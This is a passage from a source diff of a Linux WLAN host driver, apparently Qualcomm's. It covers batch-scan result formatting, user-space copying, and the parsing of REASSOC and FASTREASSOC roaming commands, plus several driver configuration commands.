length*/ + /*The GET response may have more data than the driver can return in its + buffer. In that case the buffer should be filled to the nearest complete + scan, ending with "%%%%".Subsequent callsshould return the remaining data + starting with the next scan (optional .trunc\n., .apcount=X\n., etc). + The final buffer should end with "----\n"*/ + + /*sanity*/ + if (cur_len > tot_len) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: invaid cur_len %d tot_len %d", __func__, cur_len, tot_len); + return 0; + } + else + { + rem_len = (tot_len - cur_len); + } + + /*end scan marker*/ + if (pApMetaInfo->ApInfo.batchId != pAdapter->prev_batch_id) + { + temp_len = snprintf(pTemp, sizeof(temp), "####\n"); + pTemp += temp_len; + temp_total_len += temp_len; + } + + /*bssid*/ + temp_len = snprintf(pTemp, sizeof(temp), + "bssid=0x%x:0x%x:0x%x:0x%x:0x%x:0x%x\n", + pApMetaInfo->ApInfo.bssid[0], pApMetaInfo->ApInfo.bssid[1], + pApMetaInfo->ApInfo.bssid[2], pApMetaInfo->ApInfo.bssid[3], + pApMetaInfo->ApInfo.bssid[4], pApMetaInfo->ApInfo.bssid[5]); + pTemp += temp_len; + temp_total_len += temp_len; + + /*ssid*/ + temp_len = snprintf(pTemp, (sizeof(temp) - temp_total_len), "ssid=%s\n", + pApMetaInfo->ApInfo.ssid); + pTemp += temp_len; + temp_total_len += temp_len; + + /*freq*/ + temp_len = snprintf(pTemp, (sizeof(temp) - temp_total_len), "freq=%d\n", + sme_ChnToFreq(pApMetaInfo->ApInfo.ch)); + pTemp += temp_len; + temp_total_len += temp_len; + + /*level*/ + temp_len = snprintf(pTemp, (sizeof(temp) - temp_total_len), "level=%d\n", + pApMetaInfo->ApInfo.rssi); + pTemp += temp_len; + temp_total_len += temp_len; + + /*age*/ + temp_len = snprintf(pTemp, (sizeof(temp) - temp_total_len), "age=%d\n", + pApMetaInfo->ApInfo.age); + pTemp += temp_len; + temp_total_len += temp_len; + + /*dist*/ + temp_len = snprintf(pTemp, (sizeof(temp) - temp_total_len), "dist=-1\n"); + pTemp += temp_len; + temp_total_len += temp_len; + + /*error*/ + temp_len = snprintf(pTemp, (sizeof(temp) - temp_total_len), "error=-1\n"); + pTemp += temp_len; + temp_total_len += temp_len; + + /*end AP marker*/ + temp_len = snprintf(pTemp, (sizeof(temp) - temp_total_len), "====\n"); + pTemp += temp_len; + temp_total_len += temp_len; + + /*last AP in batch scan response*/ + if(TRUE == pApMetaInfo->ApInfo.isLastAp) + { + /*end scan marker*/ + temp_len = snprintf(pTemp, (sizeof(temp) - temp_total_len), "####\n"); + pTemp += temp_len; + temp_total_len += temp_len; + + /*end batch scan result marker*/ + temp_len = snprintf(pTemp, (sizeof(temp) - temp_total_len), "----\n"); + pTemp += temp_len; + temp_total_len += temp_len; + + } + + if (temp_total_len < rem_len) + { + ret = temp_total_len + 1; + strlcpy(pDest, temp, ret); + pAdapter->isTruncated = FALSE; + } + else + { + pAdapter->isTruncated = TRUE; + if (rem_len >= strlen("%%%%")) + { + ret = snprintf(pDest, sizeof(temp), "%%%%"); + } + else + { + ret = 0; + } + } + + return ret; + +}/*End of hdd_format_batch_scan_rsp*/ + +/**--------------------------------------------------------------------------- + + \brief hdd_populate_user_batch_scan_rsp() - This function populates user data + buffer starting with head of hdd batch scan response queue + + \param - pAdapter Pointer to HDD adapter + \param - pDest Pointer to user data buffer + \param - cur_len current offset in user buffer + \param - rem_len remaining no of bytes in user buffer + + \return - number of bytes written in user buffer + + --------------------------------------------------------------------------*/ + +tANI_U32 hdd_populate_user_batch_scan_rsp +( + hdd_adapter_t* pAdapter, + tANI_U8 *pDest, + tANI_U32 cur_len, + tANI_U32 rem_len +) +{ + tHddBatchScanRsp *pHead; + tHddBatchScanRsp *pPrev; + tANI_U32 len; + + pAdapter->isTruncated = FALSE; + + /*head of hdd batch scan response queue*/ + pHead = pAdapter->pBatchScanRsp; + while (pHead) + { + len = hdd_format_batch_scan_rsp(pDest, cur_len, rem_len, pHead, + pAdapter); + pDest += len; + pDest--; + cur_len += len; + if(TRUE == pAdapter->isTruncated) + { + /*result is truncated return rest of scan rsp in next req*/ + cur_len = rem_len; + break; + } + pPrev = pHead; + pHead = pHead->pNext; + pAdapter->pBatchScanRsp = pHead; + if (TRUE == pPrev->ApInfo.isLastAp) + { + pAdapter->prev_batch_id = 0; + } + else + { + pAdapter->prev_batch_id = pPrev->ApInfo.batchId; + } + vos_mem_free(pPrev); + pPrev = NULL; + } + + return cur_len; +}/*End of hdd_populate_user_batch_scan_rsp*/ + +/**--------------------------------------------------------------------------- + + \brief hdd_return_batch_scan_rsp_to_user () - This function returns batch + scan response data from HDD queue to user space + It does following in detail: + a) if HDD has enough data in its queue then it 1st copies data to user + space and then send get batch scan indication message to FW. In this + case it does not wait on any event and batch scan response data will + be populated in HDD response queue in MC thread context after receiving + indication from FW + b) else send get batch scan indication message to FW and wait on an event + which will be set once HDD receives complete batch scan response from + FW and then this function returns batch scan response to user space + + \param - pAdapter Pointer to HDD adapter + \param - pPrivData Pointer to priv_data + + \return - 0 for success -EFAULT for failure + + --------------------------------------------------------------------------*/ + +int hdd_return_batch_scan_rsp_to_user +( + hdd_adapter_t* pAdapter, + hdd_priv_data_t *pPrivData, + tANI_U8 *command +) +{ + tANI_U8 *pDest; + tANI_U32 count = 0; + tANI_U32 len = 0; + tANI_U32 cur_len = 0; + tANI_U32 rem_len = 0; + eHalStatus halStatus; + unsigned long rc; + tSirTriggerBatchScanResultInd *pReq; + + pReq = &pAdapter->hddTriggerBatchScanResultInd; + pReq->param = 0;/*batch scan client*/ + pDest = (tANI_U8 *)(command + pPrivData->used_len); + pAdapter->hdd_wait_for_get_batch_scan_rsp = FALSE; + + cur_len = pPrivData->used_len; + if (pPrivData->total_len > pPrivData->used_len) + { + rem_len = pPrivData->total_len - pPrivData->used_len; + } + else + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: Invalid user data buffer total_len %d used_len %d", + __func__, pPrivData->total_len, pPrivData->used_len); + return -EFAULT; + } + + mutex_lock(&pAdapter->hdd_batch_scan_lock); + len = hdd_populate_user_batch_scan_rsp(pAdapter, pDest, + cur_len, rem_len); + mutex_unlock(&pAdapter->hdd_batch_scan_lock); + + /*enough scan result available in cache to return to user space or + scan result needs to be fetched 1st from fw and then return*/ + if (len == cur_len) + { + pAdapter->hdd_wait_for_get_batch_scan_rsp = TRUE; + halStatus = sme_TriggerBatchScanResultInd( + WLAN_HDD_GET_HAL_CTX(pAdapter), pReq, + pAdapter->sessionId, hdd_batch_scan_result_ind_callback, + pAdapter); + if ( eHAL_STATUS_SUCCESS == halStatus ) + { + if (TRUE == pAdapter->hdd_wait_for_get_batch_scan_rsp) + { + INIT_COMPLETION(pAdapter->hdd_get_batch_scan_req_var); + rc = wait_for_completion_timeout( + &pAdapter->hdd_get_batch_scan_req_var, + msecs_to_jiffies(HDD_GET_BATCH_SCAN_RSP_TIME_OUT)); + if (0 >= rc) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: wait on hdd_get_batch_scan_req_var failed %ld", + __func__, rc); + return -EFAULT; + } + } + + len = snprintf(pDest, HDD_BATCH_SCAN_AP_META_INFO_SIZE, + "scancount=%u\n", pAdapter->numScanList); + pDest += len; + cur_len += len; + + mutex_lock(&pAdapter->hdd_batch_scan_lock); + len = hdd_populate_user_batch_scan_rsp(pAdapter, pDest, + cur_len, rem_len); + mutex_unlock(&pAdapter->hdd_batch_scan_lock); + + count = 0; + len = (len - pPrivData->used_len); + pDest = (command + pPrivData->used_len); + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "NEW BATCH SCAN RESULT:"); + while(count < len) + { + printk("%c", *(pDest + count)); + count++; + } + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: copy %d data to user buffer", __func__, len); + if (copy_to_user(pPrivData->buf, pDest, len)) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: failed to copy data to user buffer", __func__); + return -EFAULT; + } + } + else + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "sme_GetBatchScanScan returned failure halStatus %d", + halStatus); + return -EINVAL; + } + } + else + { + count = 0; + len = (len - pPrivData->used_len); + pDest = (command + pPrivData->used_len); + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "REMAINING TRUNCATED BATCH SCAN RESULT:"); + while(count < len) + { + printk("%c", *(pDest + count)); + count++; + } + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: copy %d data to user buffer", __func__, len); + if (copy_to_user(pPrivData->buf, pDest, len)) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: failed to copy data to user buffer", __func__); + return -EFAULT; + } + } + + return 0; +} /*End of hdd_return_batch_scan_rsp_to_user*/ + +/**--------------------------------------------------------------------------- + + \brief hdd_handle_batch_scan_ioctl () - This function handles WLS_BATCHING + IOCTLs from user space. Following BATCH SCAN DEV IOCTs are handled: + WLS_BATCHING VERSION + WLS_BATCHING SET + WLS_BATCHING GET + WLS_BATCHING STOP + + \param - pAdapter Pointer to HDD adapter + \param - pPrivdata Pointer to priv_data + \param - command Pointer to command + + \return - 0 for success -EFAULT for failure + + --------------------------------------------------------------------------*/ + +int hdd_handle_batch_scan_ioctl +( + hdd_adapter_t *pAdapter, + hdd_priv_data_t *pPrivdata, + tANI_U8 *command +) +{ + int ret = 0; + hdd_context_t *pHddCtx; + + ENTER(); + + pHddCtx = WLAN_HDD_GET_CTX(pAdapter); + ret = wlan_hdd_validate_context(pHddCtx); + if (ret) + { + goto exit; + } + + if (strncmp(command, "WLS_BATCHING VERSION", 20) == 0) + { + char extra[32]; + tANI_U8 len = 0; + tANI_U8 version = HDD_BATCH_SCAN_VERSION; + + if (FALSE == sme_IsFeatureSupportedByFW(BATCH_SCAN)) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: Batch scan feature is not supported by FW", __func__); + ret = -EINVAL; + goto exit; + } + + len = scnprintf(extra, sizeof(extra), "WLS_BATCHING_VERSION %d", + version); + if (copy_to_user(pPrivdata->buf, &extra, len + 1)) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: failed to copy data to user buffer", __func__); + ret = -EFAULT; + goto exit; + } + ret = HDD_BATCH_SCAN_VERSION; + } + else if (strncmp(command, "WLS_BATCHING SET", 16) == 0) + { + int status; + tANI_U8 *value = (command + 16); + eHalStatus halStatus; + unsigned long rc; + tSirSetBatchScanReq *pReq = &pAdapter->hddSetBatchScanReq; + tSirSetBatchScanRsp *pRsp = &pAdapter->hddSetBatchScanRsp; + + if (FALSE == sme_IsFeatureSupportedByFW(BATCH_SCAN)) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: Batch scan feature is not supported by FW", __func__); + ret = -EINVAL; + goto exit; + } if ((WLAN_HDD_INFRA_STATION != pAdapter->device_mode) && (WLAN_HDD_P2P_CLIENT != pAdapter->device_mode) && @@ -1940,6 +2479,184 @@ int hdd_handle_batch_scan_ioctl #endif/*End of FEATURE_WLAN_BATCH_SCAN*/ +#if defined(WLAN_FEATURE_VOWIFI_11R) || defined(FEATURE_WLAN_ESE) || defined(FEATURE_WLAN_LFR) +/** + * hdd_assign_handoff_src_reassoc - Set handoff source as REASSOC + * to Handoff request + * @handoffInfo: Pointer to Handoff request + * @src: enum of handoff_src + * Return: None + */ +#ifndef QCA_WIFI_ISOC +static inline void hdd_assign_handoff_src_reassoc(tCsrHandoffRequest + *handoffInfo, handoff_src src) +{ + handoffInfo->src = src; +} +#else +static inline void hdd_assign_handoff_src_reassoc(tCsrHandoffRequest + *handoffInfo, handoff_src src) +{ +} +#endif + +/** + * hdd_reassoc() - perform a user space-directed reassoc + * + * @pAdapter: Adapter upon which the command was received + * @bssid: BSSID with which to reassociate + * @channel: channel upon which to reassociate + * @src: The source for the trigger of this action + * + * Return: 0 for success non-zero for failure + */ +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD +int hdd_reassoc(hdd_adapter_t *pAdapter, const tANI_U8 *bssid, + const tANI_U8 channel, const handoff_src src) +{ + hdd_station_ctx_t *pHddStaCtx; + tCsrHandoffRequest handoffInfo; + hdd_context_t *pHddCtx = NULL; + pHddCtx = WLAN_HDD_GET_CTX(pAdapter); + + pHddStaCtx = WLAN_HDD_GET_STATION_CTX_PTR(pAdapter); + + /* if not associated, no need to proceed with reassoc */ + if (eConnectionState_Associated != pHddStaCtx->conn_info.connState) { + hddLog(LOG1, FL("Not associated")); + return -EINVAL; + } + + /* if the target bssid is same as currently associated AP, + then no need to proceed with reassoc */ + if (!memcmp(bssid, pHddStaCtx->conn_info.bssId, sizeof(tSirMacAddr))) { + hddLog(LOG1, FL("Reassoc BSSID is same as currently associated AP bssid")); + return -EINVAL; + } + + /* Check channel number is a valid channel number */ + if (VOS_STATUS_SUCCESS != + wlan_hdd_validate_operation_channel(pAdapter, channel)) { + hddLog(LOGE, FL("Invalid Channel %d"), channel); + return -EINVAL; + } + + /* Proceed with reassoc */ + handoffInfo.channel = channel; + hdd_assign_handoff_src_reassoc(&handoffInfo, src); + memcpy(handoffInfo.bssid, bssid, sizeof(tSirMacAddr)); + sme_HandoffRequest(pHddCtx->hHal, &handoffInfo); + return 0; +} +#else +int hdd_reassoc(hdd_adapter_t *pAdapter, const tANI_U8 *bssid, + const tANI_U8 channel, const handoff_src src) +{ + return -EPERM; +} +#endif + +/** + * hdd_parse_reassoc_v1() - parse version 1 of the REASSOC command + * This function parses the v1 REASSOC command with the format + * REASSOC xx:xx:xx:xx:xx:xx CH where "xx:xx:xx:xx:xx:xx" is the + * Hex-ASCII representation of the BSSID and CH is the ASCII + * representation of the channel. For example + * REASSOC 00:0a:0b:11:22:33 48 + * + * @pAdapter: Adapter upon which the command was received + * @command: ASCII text command that was received + * + * Return: 0 for success non-zero for failure + */ +static int +hdd_parse_reassoc_v1(hdd_adapter_t *pAdapter, const char *command) +{ + tANI_U8 channel = 0; + tSirMacAddr bssid; + int ret; + + ret = hdd_parse_reassoc_command_v1_data(command, bssid, &channel); + if (ret) + hddLog(LOGE, FL("Failed to parse reassoc command data")); + else + ret = hdd_reassoc(pAdapter, bssid, channel, REASSOC); + + return ret; +} + +/** + * hdd_parse_reassoc_v2() - parse version 2 of the REASSOC command + * This function parses the v2 REASSOC command with the format + * REASSOC + * + * @pAdapter: Adapter upon which the command was received + * @command: command that was received, ASCII command followed + * by binary data + * + * Return: 0 for success non-zero for failure + */ +static int +hdd_parse_reassoc_v2(hdd_adapter_t *pAdapter, const char *command) +{ + struct android_wifi_reassoc_params params; + tSirMacAddr bssid; + int ret; + + /* The params are located after "REASSOC " */ + memcpy(¶ms, command + 8, sizeof(params)); + + if (!mac_pton(params.bssid, (u8 *)&bssid)) { + hddLog(LOGE, FL("MAC address parsing failed")); + ret = -EINVAL; + } else { + ret = hdd_reassoc(pAdapter, bssid, params.channel, REASSOC); + } + return ret; +} + +/** + * hdd_parse_reassoc() - parse the REASSOC command + * There are two different versions of the REASSOC command.Version 1 + * of the command contains a parameter list that is ASCII characters + * whereas version 2 contains a combination of ASCII and binary + * payload. Determine if a version 1 or a version 2 command is being + * parsed by examining the parameters, and then dispatch the parser + * that is appropriate for the command. + * + * @pAdapter: Adapter upon which the command was received + * @command: command that was received + * + * Return: 0 for success non-zero for failure + */ +static int +hdd_parse_reassoc(hdd_adapter_t *pAdapter, const char *command) +{ + int ret; + + /* + * both versions start with "REASSOC" + * v1 has a bssid and channel # as an ASCII string + * REASSOC xx:xx:xx:xx:xx:xx CH + * v2 has a C struct + * REASSOC + * + * The first field in the v2 struct is also the bssid in ASCII. + * But in the case of a v2 message the BSSID is NUL-terminated. + * Hence we can peek at that offset to see if this is V1 or V2 + * REASSOC xx:xx:xx:xx:xx:xx* + * 1111111111222222 + * 01234567890123456789012345 + */ + if (command[25]) + ret = hdd_parse_reassoc_v1(pAdapter, command); + else + ret = hdd_parse_reassoc_v2(pAdapter, command); + + return ret; +} +#endif /* WLAN_FEATURE_VOWIFI_11R || FEATURE_WLAN_ESE FEATURE_WLAN_LFR */ + static void getBcnMissRateCB(VOS_STATUS status, int bcnMissRate, void *data) { bcnMissRateContext_t *pCBCtx; @@ -2220,7 +2937,8 @@ static int hdd_cmd_setFccChannel(hdd_context_t *pHddCtx, tANI_U8 *cmd, return -EINVAL; } - status = sme_handleSetFccChannel(pHddCtx->hHal, fcc_constraint); + status = sme_handleSetFccChannel(pHddCtx->hHal, fcc_constraint, + pHddCtx->scan_info.mScanPending); if (status != eHAL_STATUS_SUCCESS) ret = -EPERM; @@ -2275,6 +2993,126 @@ int hdd_enable_disable_ca_event(hdd_context_t *pHddCtx, tANI_U8* command, tANI_U return ret; } +/** + * wlan_hdd_fastreassoc_handoff_request() - Post Handoff request to SME + * @pHddCtx: Pointer to the HDD context + * @channel: channel to reassociate + * @targetApBssid: Target AP/BSSID to reassociate + * + * Return: None + */ +#if defined(WLAN_FEATURE_ROAM_SCAN_OFFLOAD) && !defined(QCA_WIFI_ISOC) +static void wlan_hdd_fastreassoc_handoff_request(hdd_context_t *pHddCtx, + uint8_t channel, tSirMacAddr targetApBssid) +{ + tCsrHandoffRequest handoffInfo; + handoffInfo.channel = channel; + handoffInfo.src = FASTREASSOC; + vos_mem_copy(handoffInfo.bssid, targetApBssid, sizeof(tSirMacAddr)); + sme_HandoffRequest(pHddCtx->hHal, &handoffInfo); +} +#else +static void wlan_hdd_fastreassoc_handoff_request(hdd_context_t *pHddCtx, + uint8_t channel, tSirMacAddr targetApBssid) +{ +} +#endif + +/** + * csr_fastroam_neighbor_ap_event() - Function to trigger scan/roam + * @pAdapter: Pointer to HDD adapter + * @channel: Channel to scan/roam + * @targetApBssid: BSSID to roam + * + * Return: None + */ +#ifdef QCA_WIFI_ISOC +static void csr_fastroam_neighbor_ap_event(hdd_adapter_t *pAdapter, + uint8_t channel, tSirMacAddr targetApBssid) +{ + smeIssueFastRoamNeighborAPEvent(WLAN_HDD_GET_HAL_CTX(pAdapter), + &targetApBssid[0], eSME_ROAM_TRIGGER_SCAN, channel); +} +#else +static void csr_fastroam_neighbor_ap_event(hdd_adapter_t *pAdapter, + uint8_t channel, tSirMacAddr targetApBssid) +{ +} +#endif + +/** + * wlan_hdd_handle_fastreassoc() - Handle fastreassoc command + * @pAdapter: pointer to hdd adapter + * @command: pointer to the command received + * + * Return: VOS_STATUS enum + */ +static VOS_STATUS wlan_hdd_handle_fastreassoc(hdd_adapter_t *pAdapter, + uint8_t *command) +{ + tANI_U8 *value = command; + tANI_U8 channel = 0; + tSirMacAddr targetApBssid; + hdd_station_ctx_t *pHddStaCtx = NULL; + hdd_context_t *pHddCtx = NULL; + int ret; + pHddStaCtx = WLAN_HDD_GET_STATION_CTX_PTR(pAdapter); + pHddCtx = WLAN_HDD_GET_CTX(pAdapter); + + /* if not associated, no need to proceed with reassoc */ + if (eConnectionState_Associated != pHddStaCtx->conn_info.connState) { + hddLog(LOG1, FL("Not associated!")); + return eHAL_STATUS_FAILURE; + } + + ret = hdd_parse_reassoc_command_v1_data(value, targetApBssid, &channel); + if (ret) { + hddLog(LOGE, FL("Failed to parse reassoc command data")); + return eHAL_STATUS_FAILURE; + } + + /* if the target bssid is same as currently associated AP, + then no need to proceed with reassoc */ + if (vos_mem_compare(targetApBssid, + pHddStaCtx->conn_info.bssId, + sizeof(tSirMacAddr))) { + hddLog(LOG1, FL("Reassoc BSSID is same as currently associated AP bssid")); + return eHAL_STATUS_FAILURE; + } + + /* Check channel number is a valid channel number */ + if (VOS_STATUS_SUCCESS != + wlan_hdd_validate_operation_channel(pAdapter, channel)) { + hddLog(LOGE, FL("Invalid Channel [%d]"), channel); + return eHAL_STATUS_FAILURE; + } + + /* Proceed with reassoc */ + wlan_hdd_fastreassoc_handoff_request(pHddCtx, channel, targetApBssid); + + /* Proceed with scan/roam */ + csr_fastroam_neighbor_ap_event(pAdapter, channel, targetApBssid); + + return eHAL_STATUS_SUCCESS; +} + +/** + * hdd_assign_reassoc_handoff - Set handoff source as REASSOC + * @handoffInfo: Pointer to the csr Handoff Request. + * + * Return: None + */ +#ifndef QCA_WIFI_ISOC +static inline void hdd_assign_reassoc_handoff(tCsrHandoffRequest *handoffInfo) +{ + handoffInfo->src = REASSOC; +} +#else +static inline void hdd_assign_reassoc_handoff(tCsrHandoffRequest *handoffInfo) +{ +} +#endif + static int hdd_driver_command(hdd_adapter_t *pAdapter, hdd_priv_data_t *ppriv_data) { @@ -2872,7 +3710,7 @@ static int hdd_driver_command(hdd_adapter_t *pAdapter, [Number of roam scan channels][Channel1][Channel2]... */ /* copy the number of channels in the 0th index */ len = scnprintf(extra, sizeof(extra), "%s %d", command, numChannels); - for (j = 0; (j < numChannels); j++) + for (j = 0; (j < numChannels) && len <= sizeof(extra); j++) { len += scnprintf(extra + len, sizeof(extra) - len, " %d", ChannelList[j]); @@ -3442,64 +4280,15 @@ static int hdd_driver_command(hdd_adapter_t *pAdapter, if (copy_to_user(priv_data.buf, &extra, len)) { VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, "%s: failed to copy data to user buffer", __func__); - ret = -EFAULT; - goto exit; - } - } - else if (strncmp(command, "REASSOC", 7) == 0) - { - tANI_U8 *value = command; - tANI_U8 channel = 0; - tSirMacAddr targetApBssid; - eHalStatus status = eHAL_STATUS_SUCCESS; -#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD - tCsrHandoffRequest handoffInfo; -#endif - hdd_station_ctx_t *pHddStaCtx = NULL; - pHddStaCtx = WLAN_HDD_GET_STATION_CTX_PTR(pAdapter); - - /* if not associated, no need to proceed with reassoc */ - if (eConnectionState_Associated != pHddStaCtx->conn_info.connState) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, "%s:Not associated!",__func__); - ret = -EINVAL; - goto exit; - } - - status = hdd_parse_reassoc_command_data(value, targetApBssid, &channel); - if (eHAL_STATUS_SUCCESS != status) - { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: Failed to parse reassoc command data", __func__); - ret = -EINVAL; - goto exit; - } - - /* if the target bssid is same as currently associated AP, - then no need to proceed with reassoc */ - if (VOS_TRUE == vos_mem_compare(targetApBssid, - pHddStaCtx->conn_info.bssId, sizeof(tSirMacAddr))) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, "%s:Reassoc BSSID is same as currently associated AP bssid",__func__); - ret = -EINVAL; - goto exit; - } - - /* Check channel number is a valid channel number */ - if(VOS_STATUS_SUCCESS != - wlan_hdd_validate_operation_channel(pAdapter, channel)) - { - hddLog(VOS_TRACE_LEVEL_ERROR, - "%s: Invalid Channel [%d]", __func__, channel); - return -EINVAL; + ret = -EFAULT; + goto exit; } - - /* Proceed with reassoc */ -#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD - handoffInfo.channel = channel; - vos_mem_copy(handoffInfo.bssid, targetApBssid, sizeof(tSirMacAddr)); - sme_HandoffRequest(pHddCtx->hHal, &handoffInfo); -#endif + } + else if (strncmp(command, "REASSOC", 7) == 0) + { + ret = hdd_parse_reassoc(pAdapter, command); + if (!ret) + goto exit; } else if (strncmp(command, "SETWESMODE", 10) == 0) { @@ -3657,456 +4446,1095 @@ static int hdd_driver_command(hdd_adapter_t *pAdapter, ret = -EINVAL; goto exit; } - - if ((dfsScanMode < CFG_ENABLE_DFS_CHNL_SCAN_MIN) || - (dfsScanMode > CFG_ENABLE_DFS_CHNL_SCAN_MAX)) + + if ((dfsScanMode < CFG_ENABLE_DFS_CHNL_SCAN_MIN) || + (dfsScanMode > CFG_ENABLE_DFS_CHNL_SCAN_MAX)) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "dfsScanMode value %d is out of range" + " (Min: %d Max: %d)", dfsScanMode, + CFG_ENABLE_DFS_CHNL_SCAN_MIN, + CFG_ENABLE_DFS_CHNL_SCAN_MAX); + ret = -EINVAL; + goto exit; + } + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: Received Command to Set DFS Scan Mode = %d", + __func__, dfsScanMode); + + ret = wlan_hdd_handle_dfs_chan_scan(pHddCtx, dfsScanMode); + } + else if (strncmp(command, "GETDFSSCANMODE", 14) == 0) + { + tANI_U8 dfsScanMode = sme_GetDFSScanMode(pHddCtx->hHal); + char extra[32]; + tANI_U8 len = 0; + + len = scnprintf(extra, sizeof(extra), "%s %d", command, dfsScanMode); + len = VOS_MIN(priv_data.total_len, len + 1); + if (copy_to_user(priv_data.buf, &extra, len)) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: failed to copy data to user buffer", __func__); + ret = -EFAULT; + goto exit; + } + } + else if (strncmp(command, "FASTREASSOC", 11) == 0) + { + ret = wlan_hdd_handle_fastreassoc(pAdapter, command); + if (!ret) + goto exit; + } +#endif +#ifdef FEATURE_WLAN_ESE + else if (strncmp(command, "SETCCXMODE", 10) == 0) + { + tANI_U8 *value = command; + tANI_U8 eseMode = CFG_ESE_FEATURE_ENABLED_DEFAULT; + + /* Check if the features OKC/ESE/11R are supported simultaneously, + then this operation is not permitted (return FAILURE) */ + if (sme_getIsEseFeatureEnabled((tHalHandle)(pHddCtx->hHal)) && + hdd_is_okc_mode_enabled(pHddCtx) && + sme_getIsFtFeatureEnabled((tHalHandle)(pHddCtx->hHal))) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_WARN, + "%s: OKC/ESE/11R are supported simultaneously" + " hence this operation is not permitted!", __func__); + ret = -EPERM; + goto exit; + } + + /* Move pointer to ahead of SETCCXMODE */ + value = value + 11; + /* Convert the value from ascii to integer */ + ret = kstrtou8(value, 10, &eseMode); + if (ret < 0) + { + /* If the input value is greater than max value of datatype, then also + kstrtou8 fails */ + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: kstrtou8 failed range [%d - %d]", __func__, + CFG_ESE_FEATURE_ENABLED_MIN, + CFG_ESE_FEATURE_ENABLED_MAX); + ret = -EINVAL; + goto exit; + } + if ((eseMode < CFG_ESE_FEATURE_ENABLED_MIN) || + (eseMode > CFG_ESE_FEATURE_ENABLED_MAX)) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "Ese mode value %d is out of range" + " (Min: %d Max: %d)", eseMode, + CFG_ESE_FEATURE_ENABLED_MIN, + CFG_ESE_FEATURE_ENABLED_MAX); + ret = -EINVAL; + goto exit; + } + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: Received Command to change ese mode = %d", __func__, eseMode); + + pHddCtx->cfg_ini->isEseIniFeatureEnabled = eseMode; + sme_UpdateIsEseFeatureEnabled((tHalHandle)(pHddCtx->hHal), eseMode); + } +#endif + else if (strncmp(command, "SETROAMSCANCONTROL", 18) == 0) + { + tANI_U8 *value = command; + tANI_BOOLEAN roamScanControl = 0; + + /* Move pointer to ahead of SETROAMSCANCONTROL */ + value = value + 19; + /* Convert the value from ascii to integer */ + ret = kstrtou8(value, 10, &roamScanControl); + if (ret < 0) + { + /* If the input value is greater than max value of datatype, then also + kstrtou8 fails */ + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: kstrtou8 failed ", __func__); + ret = -EINVAL; + goto exit; + } + + if (0 != roamScanControl) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "roam scan control invalid value = %d", + roamScanControl); + ret = -EINVAL; + goto exit; + } + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: Received Command to Set roam scan control = %d", __func__, roamScanControl); + + sme_SetRoamScanControl((tHalHandle)(pHddCtx->hHal), roamScanControl); + } +#ifdef FEATURE_WLAN_OKC + else if (strncmp(command, "SETOKCMODE", 10) == 0) + { + tANI_U8 *value = command; + tANI_U8 okcMode = CFG_OKC_FEATURE_ENABLED_DEFAULT; + + /* Check if the features OKC/ESE/11R are supported simultaneously, + then this operation is not permitted (return FAILURE) */ + if (sme_getIsEseFeatureEnabled((tHalHandle)(pHddCtx->hHal)) && + hdd_is_okc_mode_enabled(pHddCtx) && + sme_getIsFtFeatureEnabled((tHalHandle)(pHddCtx->hHal))) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_WARN, + "%s: OKC/ESE/11R are supported simultaneously" + " hence this operation is not permitted!", __func__); + ret = -EPERM; + goto exit; + } + + /* Move pointer to ahead of SETOKCMODE */ + value = value + 11; + /* Convert the value from ascii to integer */ + ret = kstrtou8(value, 10, &okcMode); + if (ret < 0) + { + /* If the input value is greater than max value of datatype, then also + kstrtou8 fails */ + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: kstrtou8 failed range [%d - %d]", __func__, + CFG_OKC_FEATURE_ENABLED_MIN, + CFG_OKC_FEATURE_ENABLED_MAX); + ret = -EINVAL; + goto exit; + } + + if ((okcMode < CFG_OKC_FEATURE_ENABLED_MIN) || + (okcMode > 